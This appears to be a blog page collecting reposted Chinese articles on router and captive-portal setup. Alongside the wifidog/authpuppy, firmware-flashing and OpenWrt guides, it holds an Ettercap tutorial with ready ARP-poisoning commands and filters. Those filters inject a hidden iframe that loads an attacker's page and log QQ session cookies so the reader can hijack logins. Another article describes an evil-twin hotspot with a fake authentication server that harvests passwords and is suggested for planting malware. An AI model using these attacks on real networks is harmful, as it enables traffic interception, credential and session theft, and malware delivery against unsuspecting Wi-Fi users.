[转载]wifidog+authpuppy认证页面的配置_lu晓健_新浪博客

mikel阅读(1139)

[转载]wifidog+authpuppy认证页面的配置_lu晓健_新浪博客.路由器上用的是wifidog

client,服务器后端管理用的是authpuppy。
首先,选择自己的操作系统,在http://www.authpuppy.org/doc/Main_Page网站里面,我的操作系统是Linux。然后到这个网站http://www.authpuppy.org/doc/Getting_Started去下载check_configuration.php 这个文件是检测你的电脑安装authpuppy需要哪些环境,下面是我配置好的环境
d2facf27gx6Di229KDacc&690

然后到这个http://launchpad.net/authpuppy  下载authpuppy的源码,然后把解压后的authpuppy目录放到apache2的站点目录,我的是ubuntu12.10,安装后的apache2目录是/etc/apache2/sites-available/default,
打开的内容是

<VirtualHost *:80>
       ServerAdmin webmaster@localhost

       DocumentRoot /var/www/
       <Directory />
               Options FollowSymLinks
               AllowOverride All
       </Directory>
       <Directory /var/www/authpuppy/web/>
               Options Indexes FollowSymLinks MultiViews
               AllowOverride All
               Order allow,deny
               allow from all
       </Directory>

       ScriptAlias /cgi-bin/ /usr/lib/cgi-bin/
       <Directory “/usr/lib/cgi-bin”>
               AllowOverride None
               Options +ExecCGI -MultiViews +SymLinksIfOwnerMatch
               Order allow,deny
               Allow from all
       </Directory>
       ErrorLog ${APACHE_LOG_DIR}/error.log

       # Possible values include: Debug, info, notice, warn, error, crit,
       # alert, emerg.
       LogLevel warn

       CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>

由于刚开始什么都不懂,都不知道里面目录是什么意思,所以就挑几个来说明下

DocumentRoot /var/www    这个目录是apache2服务器的根目录,也就是说当你打开浏览器在地址栏输入127.0.0.1时,就是进入/var/www/这个目录里面

<Directory /var/www/>
               Options Indexes FollowSymLinks MultiViews
               AllowOverride All
               Order allow,deny
               allow from all
       </Directory>
这个是你在apache里面架设服务器的根目录,比如我架设的是authpuppy,当我一进入authpuppy是/var/www /authpuppy/web/这个目录下的文件,其他的也没什么好讲的。所以我们应该把authpuppy目录放在/var/www/这个目录下面。

接下来就是配置这个apache这个,这个是让我最头疼的地方,配置了好几天,才搞明白是怎么回事。
首先咱们来看下http://www.authpuppy.org/doc/Getting_Started这个里面的配置内容

d2facf27gx6Di3RgzV8d2&690

我一开始也没多想就直接复制和粘帖,结果安装到第三步就出错了。哦,忘了说怎么安装了,在浏览器的地址栏上输入127.0.0.1查看authpuppy的目录在哪,然后进入authpuppy里面web的目录,就会在网页上跳出安装页面。

再回过来说说apache怎么配置吧,先给大家看看我的配置文件

<VirtualHost *:80>
      ServerAdmin webmaster@localhost
      ServerName authpuppy.localhost
      ServerAlias authpuppy.test

      DocumentRoot /var/www/
      DirectoryIndex index.php

       <Directory /var/www/authpuppy/web/>
              Options Indexes FollowSymLinks MultiViews
              AllowOverride All
              Order allow,deny
              allow from all
      </Directory>

      Alias /sf /var/www/authpuppy/lib/vendor/symfony/data/web/sf
      <Directory “/var/www/authpuppy/lib/vendor/symfony/data/web/sf”>
              AllowOverride All
              Allow from All
      </Directory>

      ErrorLog ${APACHE_LOG_DIR}/error.log
      # Possible values include: Debug, info, notice, warn, error, crit,
      # alert, emerg.
      LogLevel warn

      CustomLog ${APACHE_LOG_DIR}/access.log combined

</VirtualHost>

不知道大家有没发现这两个目录不一样

ErrorLog /var/log/apache2/authpuppy/error.log
CustomLog /var/log/apache2/authpuppy/access.log

我在我的电脑里面发现/var/log/apache2/里面没有authpuppy这个目录,后来我就把这两个目录改了,最后安装成功。当你见到如下图片的时候就说明你已经安装成功,接下来尽管next就行了。
d2facf27gx6Di5e5b2sdc&690


现在authpuppy已经安装完了,先松一口气吧。


接下来我们就来配置wifidog.conf文件以实现和authpuppy相链接。
这是wifidog.conf文件
http://dev.wifidog.org/browser/trunk/wifidog/wifidog.conf


由于第一次接触路由,所以有几个地方先说明下,自己老是搞乱,给以后的新手留给经验。

最最重要的一点是,在这个配置文件里面第一格不能是空格,否则就会出错。

ExternalInterface br-lan  这个是lan口,这样才能连上路由,比如手机


GatewayInterface eth0.2   这个是wan口,通过这个与authpuppy server通信。所以主机的网卡要和wan同一网络,
我的wan口ip是192.168.2.200,要和Hostname同一网段,才能通信。

AuthServer {                                                                    
    Hostname 192.168.2.2                                                        
    SSLAvailable yes                                                            
    Path /authpuppy/web/                                                        
}
还有这个Path,一开始我是设置成   根目录,结果不行,出现了这个问题:
HTTP Response from Server: [HTTP/1.1 404 Not Found

后来设置成这个目录才可以。还有一点要注意的是Path的目录两边都要加/,不然也会出错。

[转载]Netgear WNDR4300从DD-WRT固件恢复为官方固件 | 喵の史

mikel阅读(2476)

转载Netgear WNDR4300从DD-WRT固件恢复为官方固件 | 喵の史.

上次易迅的活动,入手了Netgear WNDR4300,貌似还不错的路由器,回来立马刷入dd-wrt,因为一直不能正常使用SSH,所以决定刷回官方固件,不能ssh对我来说就没什么吸引力了,可能是ddwrt固件的问题吧,等待以后更新了再刷回来。

从原厂固件刷到dd倒是非常的简单,直接从固件升级那里,刷入从DD-WRT下载的固件wndr4300-factory.img,下载地址 ftp://ftp.dd-wrt.com/others/eko/BrainSlayer-V24-preSP2/2013/03-25-2013-r21061/netgear-wndr4300/  其中img是这种刷机固件,bin

是升级固件。大家都懂不多说,刷好以后先设置用户名和密码就是了。

但是从dd-wrt固件刷回官方固件就没那么方便了,网上找的方法是说用tftp2,启动路由器的tftp模式,但是“按reset按钮直到绿色灯 一直的闪烁”这个状态我一直没成功过。下面说说我的方法,当然,首先下载官方的固件http://support.netgear.com.cn /Upfilepath/WNDR4300-V1.0.1.64PRRU.img  ,通过telnet连接到路由器并登陆,登陆用户名是root,密码是你设置的密码,前提是你在ddwrt中开启了telnet访问。

转到tmp目录:

root@DD-WRT:~# cd ..
root@DD-WRT:/tmp# pwd
/tmp

通过http把官方固件下载到路由器,这个你可以通过自己的电脑构建一个简单的web服务器。

root@DD-WRT:/tmp# wget http://192.168.1.125/4300.img
Connecting to 192.168.1.125 (192.168.1.125:80)
4300.img 100% |*******************************| 12544k 0:00:00 ETA

执行mtd -r write 4300.img linux,完成后会被断开telnet,这个时候路由器上的电源指示灯是绿色并闪烁,可以操作tftp2推固件过去刷新,完成后等待路由器重新启动即可。

root@DD-WRT:/tmp# mtd -r write 4300.img linux
Unlocking linux …
Writing from 4300.img to linux … [w]
root@DD-WRT:/tmp#

遗失对主机的连接。

[转载]Ettercap简要原理介绍以及使用说明 - 软件工具 - 红黑联盟

mikel阅读(1063)

[转载]Ettercap简要原理介绍以及使用说明 – 软件工具 – 红黑联盟.
0x00 前言

在坛子里看到基友一篇文章,突然就对ettercap来了兴趣。之前一直在windows下用cain,感觉不算稳定,经常会产生断网的现象。自己对linux下的arp工具不是很熟悉,趁机学习下吧~
打开很久没开过的BT5,在炊少大黑阔的博客看了一下午,去读了半天官方的使用手册,又测试了一晚上,于是就有了这篇文章。

0x01 ettercap 界面介绍

Ettercap有四种界面,Text,Curses,GTK2 ,Daemonize。

Text界面相当于我们常说的命令行界面,只显示字符。其启动参数为-T。通常与其配套的参数有-q。(安静模式)若加上了该选项,则不会显示抓到数据包的内容。
Curses和GTK2是图形化界面,可以用鼠标点的,在此略过…
Daemonize是守护模式,相当于在后台运行。

以后的例子中会以Text界面做介绍。

0x02 ettercap运行方式

Ettercap有两种运行方式,UNIFIED和BRIDGED。

其中,UNIFIED的方式是以中间人方式嗅探;BRIDGED方式是在双网卡情况下,嗅探两块网卡之间的数据包。

UNIFIED方式的大致原理为同时欺骗A和B,把原本要发给对方的数据包发送到第三者C上,然后由C再转发给目标。这样C就充当了一个中间人的角色。因 为数据包会通过C那里,所以C可以对数据包进行分析处理,导致了原本只属于A和B的信息泄露给了C。UNIFIED方式将完成以上欺骗并对数据包分析。 Ettercap劫持的是A和B之间的通信,在Ettercap眼中,A和B的关系是对等的。

BRIDGED方式有点像笔记本电脑上有两个网卡,一个有线网卡,一个无线网卡。我们可以将有线网卡的internet连接共享给无线网卡,这样笔记本就 变成了一个无线ap。无线网卡产生的所有数据流量都将传送给有线网卡。BRIDGED方式ettercap嗅探的就是这两块网卡之间的数据包。

一般而言,我们会使用UNIFIED方式。其运行参数为-M(M是MITM的首字母,为中间人攻击的缩写)。

0x03 ettercap目标选择

目标的表达形式为MAC/IPs/PORTs。依照这个规则,我们把目标可以精确到特定的主机和端口上。
MAC、IP、和PORT为三个条件,为空代表ANY,也就是所有。我个人理解三个条件是与的关系,即针对三个条件同时成立的目标进行嗅探。例如,”//80″即表示对任意MAC、任意IP上的80端口进行嗅探。
一般来说,MAC部分留空,除非你愿意去手动输入那一长串的MAC地址。因此,我们可以只用IP部分来确定目标主机。

当IP有多个的时候,可以用“,”分隔不同的C段ip,可以用“-”表示连续的ip,可以用“;”分隔不同表达形式的ip。举例如下:
“10.0.0.1-5;10.0.1.33” 表示 ip 10.0.0.1, 2, 3, 4, 5 和 10.0.1.33
端口部分也有类似的写法,看例子:
“20-25,80,110” 表示 20, 21, 22, 23, 24, 25, 80 和 110

0x04 ettercap的中间人攻击

当我们指定了-M参数时,即中间人攻击时,我们可以有以下几种攻击方式。

1. arp毒化的中间人攻击

arp毒化的原理简单的说就是伪造MAC地址与IP的对应关系,导致数据包由中间人转手出去。详细介绍请看:
http://www.2cto.com/Article/201207/144532.html

arp毒化有双向(remote)和单向(oneway)两种方式。
双向方式将对两个目标的ARP缓存都进行毒化,对两者之间的通信进行监听。单向方式只会监听从第一个目标到第二个目标的单向通信内容。一般来说,我们会选择使用双向欺骗的方式来获取所有的数据包进行嗅探分析。
例如:-M arp:remote /10.0.0.2/ // 表示对10.0.0.2的所有端口的通信进行嗅探,包括发出的数据包和收到的数据包。

若目标主机开启了ARP防火墙怎么办?直接欺骗会引发报警且无效果。这时就是单向ARP毒化大显神威的时候了。只要路由器没有对IP和MAC进行绑定,我们就可以只欺骗路由器,使从路由器发给目标主机的数据包经过中间人,完成我们的攻击。

2. icmp欺骗

icmp欺骗即基于重定向(redirect)的路由欺骗技术。其基本原理是欺骗其他的主机,本机才是最近的路由,因此其他主机会将数据包发送到本机,然后本机再重新将其转发到真正的路由器上。于是,我们便可以对这些数据包进行监听。
icmp欺骗不适用于在交换机下的环境。若本机在交换机的环境下,则最好选择arp毒化的方式来进行攻击。
icmp欺骗方式的参数是真实路由器的MAC和IP。参数形式为(MAC/IP)。举例如下:
-M icmp:00:11:22:33:44:55/10.0.0.1

3. DHCP spoofing

DHCP spoofing的基本原理是本机伪装成DHCP服务器,代替真实的DHCP服务器给新接入网络的主机动态分配ip。这样的缺点是可能会与真实的DHCP服务器重复分配ip,造成冲突,而且只能针对新接入的主机,不影响到之前的主机。
DHCP spoofing方式的参数是可以分配出去的ip地址池,子网掩码和DNS。参数形式为(ip_pool/netmask/dns)。举例如下:
-M dhcp:192.168.0.30,35,50-60/255.255.255.0/192.168.0.1
对应的含义为将分配192.168.0.30,35,50-60之中的地址,子网掩码为255.255.255.0,DNS服务器为192.168.0.1。

4. Port Stealing

此攻击方式适用的环境是在交换机下,且路由器中ip和mac绑定无法进行arp欺骗。其基本思想是,既然无法欺骗路由器的IP和MAC对应关系,那么就欺 骗交换机的吧。这样,原本应该通过交换机某一个端口到达目标主机的数据包被传入了攻击者的端口。(此部分笔者理解的不算好,恳请大牛补充纠正!)
由于本方法只能用于交换机环境,且会产生大量的数据包,严重影响网络状况,用之前须三思。

笔者只实际测试了1和4两种攻击方式。其中1方式攻击结果完全符合预期,而用4方式时产生了如下错误:
1.       ERROR : 90, Message too long
2.       [ec_send.c:send_to_L2:213]
3.
4.       libnet_write 1586 (-1): libnet_write_link(): only -1 bytes written (Message too long)
复制代码
此外,如果只想用ettercap做一个中间人而用其他软件嗅探数据的话,应加入参数-o (only-mitm)。

注意点:
Ettercap并不会转发数据包,转发数据包的是操作系统,因此,在中间人攻击时需要启用操作系统的数据包转发功能。
详情请见http://www.cnblogs.com/gunl/archive/2010/09/14/1826234.html

0x05 ettercap的常用参数及组合

-I 显示可用网卡
-i 选择网卡
-t 协议选择,tcp/udp/all,默认为all
-p 不进行毒化攻击,用于嗅探本地数据包
-F 载入过滤器文件
-V text 将数据包以文本形式显示在屏幕上
-L filename 把所有的数据包保存下来(所得文件只能用etterlog来显示)

下面列出几个常用的参数组合:
ettercap -Tzq
以命令行方式显示,只嗅探本地数据包,只显示捕捉到的用户名和密码以及其他信息。
ettercap -T -M arp:remote /192.168.1.1/ /192.168.1.2-10/
嗅探网关(192.168.1.1)与部分主机(192.168.1.2-10)之间相互通信的数据包。
ettercap -Tzq //110
只嗅探本机110端口(pop3)的信息
ettercap -Tzq /10.0.0.1/21,22,23
只嗅探本机与10.0.0.1主机在端口21、22、23上的通信
ettercap -i eth0 -Tq -L sniffed_data -F filter.ef -M arp:remote /10.1.1.2/80 //
在eth0网卡上用自己的filter嗅探ip为10.1.1.2主机在80端口上的所有通信,并把所有的数据包保存成文件名为“sniffed_data”的文件
ettercap -i eth0 -Tq -L sniffed_data -F filter.ef -M arp:remote /10.1.1.1/ /10.1.1.2/
单向欺骗路由,只劫持路由发向10.1.1.2的数据包。

0x06 ettercap filter的写法

一个好工具配一个好的过滤规则才是perfect!

Ettercap的过滤规则只有经过编译之后才能由-F参数载入到ettercap中使用。
编译过滤规则的命令是:
etterfilter filter.ecf -o filter.ef。
即把filter.ecf文件编译成ettercap能识别的filter.ef文件。
过滤规则的语法与C类似,但只有if语句,不支持循环语句。需要注意的地方是,if与”(”之间必须要有一个空格,且大括号{}不能省略。

Ettercap提供的一些常用的函数有:
search(where, what) 从字符串where中查找what,若找到则返回true
regex(where, regex) 从字符串where中匹配正则表达式regex,若找到则返回true
replace(what, with) 把字符串what替换成字符串with
log(what, where) 把字符串what记录到where文件中
msg(message) 在屏幕上显示出字符串message
exit() 退出

快速学习etterfilter规则写法,个人的习惯是去读已有的一些规则的例子,然后按照例子仿写自己的filter。
在炊少大黑阔博客上看到的经典的例子有:
1.       if (ip.proto == TCP && ip.dst != ‘192.1.1.200’ && tcp.dst == 80 || tcp.dst == 8080) {
2.       #…and if it contains an Accept-Encoding header…
3.       if (search(DATA.data, “Accept-Encoding”)) {
4.       #…remove any Encoding (make sure we are using plain text)
5.       replace(“Accept-Encoding”, “Accept-Nothing!”);
6.       }
7.       }
8.       #–Inject Iframe–
9.       if (ip.proto == TCP && ip.dst != ‘192.1.1.200’ && tcp.src == 80 || tcp.src == 8080) {
10.     if (search(DATA.data, “<body>”)){
11.     #Replace it with the body tag and an iframe to our attacking webpage
12.     replace(“<body>”,”<body><iframe src=’http://192.1.1.200′ width=0 height=0 />”);
13.     msg(“iframe injected after <body>\n”);
14.     }
15.     if (search(DATA.data, “<BODY>”)){
16.     replace(“<BODY>”,”<BODY><IFRAME SRC=’http://192.1.1.200′ width=0 height=0 />”);
17.     msg(“iframe injected after <BODY>\n”);
18.     }
19.     }

上述代码中,第一部分的作用是将HTTP请求头中的Accept-Encoding部分替换掉,使WebServer返回的数据是原始数据,而不是经过压 缩(如gzip)后的数据,方便我们嗅探分析。第二部分的作用是查找返回数据中的<body>和<BODY>标签,并在它后面添 加一个iframe标签。
通过这个例子,我们可以看出,过滤器的主要作用是查找数据中的字段并替换。因此,在网上我们经常会看到一些用来挂马或者插入一段js脚本的例子,做任何xss能做的事情。
更多的规则请看http://fuzzexp.org/ettercap-filter-rules-send.html

在此奉上我自己的一个过滤规则,用来记录在特定网站的cookie。
1.       if (ip.proto == TCP && tcp.dst == 80 && ip.src == ‘10.0.0.2’ ) {
2.               if (search(DATA.data,”Accept-Encoding”)) {
3.               replace(“Accept-Encoding”,”Accept-Mousecat”);
4.               }
5.               if ( search(DATA.data,”Cookie:”) ) {
6.                       if (search(DATA.data,”qq”)) {
7.                       #“qq” can be replaced with other website keywords
8.                       log(DATA.data, “/tmp/qqlog.txt”);
9.                       }
10.             }
11.     }

这个过滤规则能得到腾讯用来身份认证的两个cookie:skey和uin。然后就可以伪造登陆状态为所欲为了。这样比xss得来的cookie更直接且不受http-only干扰。
还有一个纯属卖萌的:
1.       if (ip.proto == TCP && tcp.dst == 80 ) {
2.               if (search(DATA.data,”Accept-Encoding”)) {
3.               replace(“Accept-Encoding”,”Accept-Mousecat”);
4.               }
5.               replace(“<head>”, “<head><script>alert(/h4cked by deleter/)</script>”);
6.       }

每打开一个网页会弹出一个对话框来卖萌…

注意点:
Ettercap需要以root权限运行,但是在开启完链路层套接字后会降权为nobody,因此在生成log文件的时候要选择有写入权限的目录,如/tmp/

0x07 etterlog分析数据

Etterlog是用来读取分析ettercap -L或者-l参数产生的log文件。此部分命令不多做介绍,个人认为最常用的命令为:
etterlog -A sniffed_data.ecp >1.txt
即将ettercap产生的log数据转成可显示的数据保存在1.txt中。
etterlog -B sniffed_data.ecp >1.data
将数据原封不动的转存成文件。

0x08 参考资料&更多阅读

帮助最大的官方手册:
http://linux.die.net/man/8/ettercap
http://linux.die.net/man/8/etterlog
http://linux.die.net/man/8/etterfilter

利用sslstrip和ettercap突破ssl嗅探密码
http://www.2cto.com/Article/201009/75322.html
针对SSL的中间人攻击演示和防范
http://www.2cto.com/Article/201211/169512.html
中间人攻击-ARP毒化
http://www.2cto.com/Article/201207/144532.html

0x09 后记

本文纯属水文一篇,大部分内容是按照官方手册翻译过来的,只有arp单项欺骗突破防火墙部分和ettercap部分过滤规则是原创内容。英文资料自己看看还可以,翻译的过程真心蛋疼啊~
但是写点东西出来既能方便他人,又能巩固旧的知识加深理解新的知识,何乐而不为呢?

由于笔者水平有限,中间难免会出现一些错误误导大众,还恳请大牛帮忙指正。

[转载]centeros开启路由功能——ip_forward_小麦_新浪博客

mikel阅读(1006)

[转载]centeros开启路由功能——ip_forward_小麦_新浪博客.方法一:
[root@localhost /]# echo “1” > /proc/sys/net/ipv4/ip_forward
或者将上述命令写入 /etc/rc.d/rc.local使得Linux主机开启时候就启动数据包转发功能。

方法二:
vi /etc/sysctl.conf
找到net.ipv4.ip_forward = 0

,将0改成1
[root@localhost /]# sysctl -p     #不重启,立刻让设置生效

【转载】wifidog 认证 - 逆雪寒的天坑 - 博客频道 - CSDN.NET

mikel阅读(994)

转载wifidog 认证 – 逆雪寒的天坑 – 博客频道 – CSDN.NET.

Wifi有一种web方式认证方案,当连接到某些不加密的热点之后,会跳转到一个网页来认证登陆,大家熟悉的CMCC就采用了这种web的验证方式。

它的原理是在得到正确的认证之前,会把所有的流量重定向到认证服务器上,通过认证后,便可以正常使用。
如果说仅仅想获取web验证时其他用户的用户名和密码,arp欺骗然后嗅探足够了。因为此时攻击者已经分配到了ip,且同一网关下产生的流量是不会重定向的。

 

但是目前的情况是,认证服务器用的https加密传输,无法嗅探到明文密码。

 

于是萌生了伪造热点及web认证服务器,然后记录密码的想法。

 


客户端在接受WiFi信号的时候有一个特点,在ssid相同的时候,会只保留信号强的那一个无线路由的ssid。

 

这样,只要伪造热点的ssid与原热点的相同,会有部分人搜到伪造的热点,从而登陆,记录密码。

 


本无线路由用的ddwrt的系统,装了wifidog来进行辅助web认证。

 


至于如何搭建web认证系统,百度一大把,但主要是用了wiwiz和wifiap这两个成熟的网站提供的方案。

 

但是,利用第三方的网站无法拦截到用户名和密码,而且无法控制认证的过程。

 

最好的解决方法是自己搭建一个简单的系统。

 


Wifidog的认证流程如下:
1、客户端发出一个http请求(http://www.xxx.com)
2、网关将该请求信息以及网关本身的一些信息作为参数,将原始的请求重定向到web认证服务器(http://auth_server/login/)
3、Web认证服务器通过客户端的认证之后,返回一个一次性的token,客户端带着这个token去网关上的wifidog开放的端口去做验证 (http://GatewayIP:GatewayPort/wifidog/auth?token=[auth token])
4、Wifidog拿到token后,到web认证服务器检测token是否有效,如果有效则通过客户端的验证,开放访问权限,并将客户端重定向到web认证服务器的欢迎界面(http://auth_server/portal/);如果token无效,则需要继续验证

 


Wifidog官方推荐的web认证服务软件为authpuppy (http://www.authpuppy.org),不过其代码比较复杂,可以参考wifidog之前的web认证服务软件。获取方式为:

 

svn checkout https://dev.wifidog.org/svn/trunk/wifidog-auth

web认证服务软件用php写成,重点文件为wifidog-auth\wifidog\login\index.php(客户端web认证、产生 token以及重定向到wifidog的开放端口)、wifidog-auth\wifidog\auth\index.php(wifidog验证 token)、wifidog-auth\wifidog\portal\index.php(认证成功后页面重定向)。宏定义在wifidog- auth\wifidog\include\common.php文件中。

 


了解了基本流程就可以DIY出一个简单的web认证服务器了。在认证的过程中可以顺便记录下客户端的密码。
路由器上Wifidog配置如下图。重点配置的地方为端口号(port),认证服务器(AuthServer Hostname), 认证服务器web端口(AuthServer HTTP Port),路径(AuthServer Path)。

 


1.png

 


web认证服务器端代码大家自己发挥吧。我个人只是实现了记录用户名密码这样一个简单的功能,如果要做的好的话可以用用户提交的密码到真正的认证服务器做 一次认证来返回合适的结果,以及自己搭建dns服务器伪装的更加逼真,但是对于那些比较敏感的用户,还是不容易进行欺骗的,比如用回会发现ssl加密不见 了。

考虑到功耗和实用问题,我的web认证服务器是搭建在树莓派上的。配置好无线路由的WLAN确保能联网之后,设置路由器的ip为10.1.1.1,手工配 置树莓派静态ip为10.1.1.2。树莓派上安装nginx和php,配置好webserver的环境,上传自己的代码。开启无线路由的wifidog 就可以守株待兔了。

当用户连接到自己搭建的无线路由器之后,可以说所有的网络流量都在控制之中了。不过怎么拿到这些流量成了一个问题。在此有三种拿到流量的方法。

 


1、ARP欺骗
这个不多说,大家都懂。不过有种偏离正题的感觉。
2、网线嗅探
当所处的环境通过网线来连到互联网时可用这个方法。将网线接入自制的硬件并将另一端插到无线路由的WLAN口,做好相应的配置。所需硬件参见我之前的一个帖子。原理类似于Throwing star lan tap,直接监听网线上的数据(无线路由的WLAN口)

 

3、通过笔记本做中介
当所处的环境只有无线网连到Internet时,可用笔记本来搭建一个中介。
其连接关系为:
AP—无线网卡—有线网卡—自己的无线路由—受害者
这时用笔记本就可以直接嗅探到所有的数据。

 


这里以windows环境为例,演示如何搭建这个数据流链条。
在无线网卡连接到无线网之后,在属性中选择Internet连接共享,共享给以太网卡(有线网卡)。

 


2.png

 


此时有线网卡的ip会被设置为192.168.137.1

 


3.png

 


用网线连接有线网卡的网口和无线路由的WLAN。在无线路由的配置页面,将WLAN口配置静态ip为192.168.137.2,子网掩码255.255.255.0,网关为192.168.137.1。
这时整个数据流链条便搭建成功。

 


至于在linux下的搭建,注意打开ip_forward功能,并配置好iptables。因为没有linux环境,不在此详细演示。

对于流经网卡的数据包,可以收集的信息主要有两种:密码和session。
windows下的cain用来嗅探并提取得到的用户名密码,改下规则也能得到特定的cookie。
linux下的ettercap设置好规则能获取到几乎所有想要的信息,还能用来更改返回的web页面、挂马、添加cookie等等,可谓神器。


至于开启了ssl加密的服务器,可以用ssltrip来得到明文传送的数据。
如果不怕麻烦的话,还可以自己搭设dns服务器来钓鱼,不过这样就有些杀鸡用牛刀了。

PS:最近出了个叫极路由的东西,号称自动翻墙。目测是内置了一个vpn。大家有兴趣可以去了解下~
PPS:利用web认证方式的热点是挂马利器哦

[转载]OpenWrt增加软件包方法-kyok520-ChinaUnix博客

mikel阅读(796)

[转载]OpenWrt增加软件包方法-kyok520-ChinaUnix博客.

OpenWrt是一个比较完善的嵌入式Linux开发平台,在无线路由器应用上已有100多个软件包。人们可以在其基础上增加软件包,以扩大其应用范围。OpenWrt在增加软件方面使用极其方便,按照OpenWrt的约定就可以很简单完成。
        加入的软件包可以是网上可下载的开源软件或自行开发的软件。為加入软件包需要在package目錄下创建一个目录,以包含软件包的各种信息和与 OpenWrt建立联系的文件。然后创建一个Makefile与OpenWrt建立联系,Makefile需要遵循OpenWrt的约定。另外可以創建一 個patchs目錄保存patch文件,對下載的源代碼進行適量修改。下面主要介紹Makefile的基本約定。
1、引入文件
OpenWrt使用三个makefile的子文件,分别为:
include $(TOPDIR)/rules.mk
include $(INCLUDE_DIR)/kernel.mk
include $(INCLUDE_DIR)/package.mk
        由這些makefile子文件確立軟件包加入OpenWrt的方式和方法。$(TOPDIR)/rules.mk一般在Makefile的開 頭,$(INCLUDE_DIR)/kernel.mk文件對於軟件包為內核時不可缺少,$(INCLUDE_DIR)/package.mk一般在軟件 包的基本信息完成後再引入。
2、编写软件包的基本信息,这些软件包的信息均以PKG_开头,其意思和作用如下:
PKG_NAME表示软件包名称,将在menuconfig和ipkg可以看到。
PKG_VERSION表示软件版本号。
PKG_RELEASE表示Makefile的版本号
PKG_SOURCE表示源代码的文件名。
PKG_SOURCE_URL 表示源代码的下载网站位置。@SF表示在sourceforge网站,@GNU表示在GNU网站,還有@GNOME、@KERNEL。獲取方式可以 為:git、svn、cvs、hg、bzr等。有關下載方法可參考$(INCLUDE_DIR)/download.mk和$(SCRIPT_DIR) /download.pl。
PKG_MD5SUM表示源代码文件的效验码。用于核对软件包是否正确下载。
PKG_CAT表示源代码文件的解压方法。包括zcat, bzcat, unzip等。
PKG_BUILD_DIR表示软件包编译目录。它的父目录为$(BUILD_DIR)。如果不指定,默认为$(BUILD_DIR)/$( PKG_NAME)$( PKG_VERSION)。
還有一些有關源代碼的定義。
PKG_SOURCE_SUBDIR
PKG_SOURCE_PROTO
PKG_SOURCE_MIRROR
PKG_MIRROR_MD5SUM
PKG_SOURCE_VERSION

3、编译包定义
用户程序和内核模块的定义不一样。用戶態軟件包使用Package,內核模塊使用KernelPackage。
3.1用户程序编译包定义
用户程序的编译包以Package/开头,然后接着软件名,在Package定义中的软件名可以与软件包名不一样,而且可以多个定义。下面使用$(PKG_NAME)只是做一个标示,并非真正使用$(PKG_NAME)。

Package/$(PKG_NAME)
SECTION表示包的类型,预留。
CATEGORY表示分类,在menuconfig的菜单下将可以找到。
TITLE用于软件包的简短描述
DESCRIPTION用于软件包的详细描述,已放弃使用。如果使用DESCRIPTION將會提示“error DESCRIPTION:= is obsolete, use Package/PKG_NAME/description”。
URL表示软件包的下载位置。
MAINTAINER表示维护者,选项。
DEPENDS表示与其他软件的依赖。即如编译或安装需要其他软件时需要说明。如果存在多個依賴,則每個依賴需用空格分開。依賴前使用+號表示默認顯示,即對象沒有選中時也會顯示,使用@則默認為不顯示,即當依賴對象選中後才顯示。
在 用戶態的軟件包中沒有內核模塊的AUTOLOAD參數。如果軟件需要在boot時自動運行,則需要在/etc/init.d增加相應的腳本文件。腳本文件 需要START參數,說明在boot時的優先級,如果在boot過程啟動後在關閉,則需要進一步設置STOP參數。如果STOP參數存在,其值必須大於 START。腳本文件需要start()和stop()兩個函數,start()是執行程序,stop()是關閉程序。關閉程序一般需要執行 killall命令。由/etc/rc.d/S10boot知道,裝載內核模塊的優先級為10,需要使用自己設計的內核模塊的程序其START的值必須大 於10. 同樣由/etc/rc.d/S40network知道,使用網絡通信的程序其START的值必須大於40。

Package/$(PKG_NAME)/conffiles
本包安裝的配置文件,一行一個。如果文件結尾使用/,則表示為目錄。用於備份配置文件說明,在sysupgrade命令執行時將會用到。

Package/$(PKG_NAME)/description
软件包的详细描述,取代前面提到的DESCRIPTION详细描述。

Build/Prepare
编译准备方法,对于网上下载的软件包不需要再描述。对于非网上下载或自行开发的软件包必须说明编译准备方法。一般的准备方法为:
define Build/Prepare
        mkdir -p $(PKG_BUILD_DIR)
        $(CP) ./src/* $(PKG_BUILD_DIR)/
endef
按OpenWrt的习惯,一般把自己设计的程序全部放在src目录下。
Build/Configure
在Automake中需要进行./configure,所以本配置方法主要针对需要配置的软件包而设计,一般自行开发的软件包可以不在这里说明。需要使用本定义的情况,可参考dropbear。

Build/Compile
编译方法,没有特别说明的可以不予以定义。如果不定义将使用默认的编译方法Build/Compile/Default
自行开发的软件包可以考虑使用下面的定义。
define Build/Compile
        $(MAKE) -C $(PKG_BUILD_DIR) \
                $(TARGET_CONFIGURE_OPTS) CFLAGS=”$(TARGET_CFLAGS) -I$(LINUX_DIR)/include”
Endef

Package/$(PKG_NAME)/install
软件包的安装方法,包括一系列拷贝编译好的文件到指定位置。調用時會帶一個參數,就是嵌入系統的鏡像文件系統目錄,因此$(1)表示嵌入系统的镜像目录。一般可以采用下面的方法:
define Package/$(PKG_NAME)/install
        $(INSTALL_DIR) $(1)/usr/bin
        $(INSTALL_BIN) $(PKG_BUILD_DIR)/ $(PKG_NAME) $(1)/usr/bin/
endef
INSTALL_DIR、INSTALL_BIN在$(TOPDIR)/rules.mk文件定义,所以本Makefile必须引入$(TOPDIR)/rules.mk文件。
INSTALL_DIR :=install -d -m0755 意思創建所屬用戶可讀寫即執行,其他用戶可讀可執行的目錄。
INSTALL_BIN:=install -m0755意思編譯好的文件到鏡像文件目錄。
如果用戶態軟件在boot時要自動運行,則需要在安裝方法說明中增加自動運行的腳本文件安裝和配置文件安裝方法。
例如:
define Package/mountd/install
        $(INSTALL_DIR) $(1)/sbin/ $(1)/etc/config/ $(1)/etc/init.d/
        $(INSTALL_BIN) $(PKG_BUILD_DIR)/mountd $(1)/sbin/

         $(INSTALL_DATA) ./files/mountd.config $(1)/etc/config/mountd
         $(INSTALL_BIN) ./files/mountd.init $(1)/etc/init.d/mountd
endef
安裝文件放在files子目錄下,不要與源代碼文件目錄src混在一起,以提高可讀性。
使用清晰的文件擴展名,更方便安裝識別文件。
Package/$(PKG_NAME)/preinst
软件包安装前处理方法,使用脚本语言,因此定义的第一行需要下面的格式
#!/bin/sh
調用時帶入的參數為嵌入式系統的鏡像目錄。
Package/$(PKG_NAME)/postinst
软件包安装后处理方法,使用脚本语言。
Package/$(PKG_NAME)/prerm
软件包删除前处理方法,使用脚本语言
Package/$(PKG_NAME)/postrm
软件包删除后处理方法,使用脚本语言
3.2内核模块包定义
Linux分为内核态和用户态。开发者开发的内核部分可以直接加入LinuxKernel程序,也可以生成内核模块以便需要时装入内核。OpenWrt一般希望开发者生成内核模块,在Linux启动后自动装载或手工使用insmod命令装载。内核模块使用KernelPackage开头,其他与一般软件包基本相同。
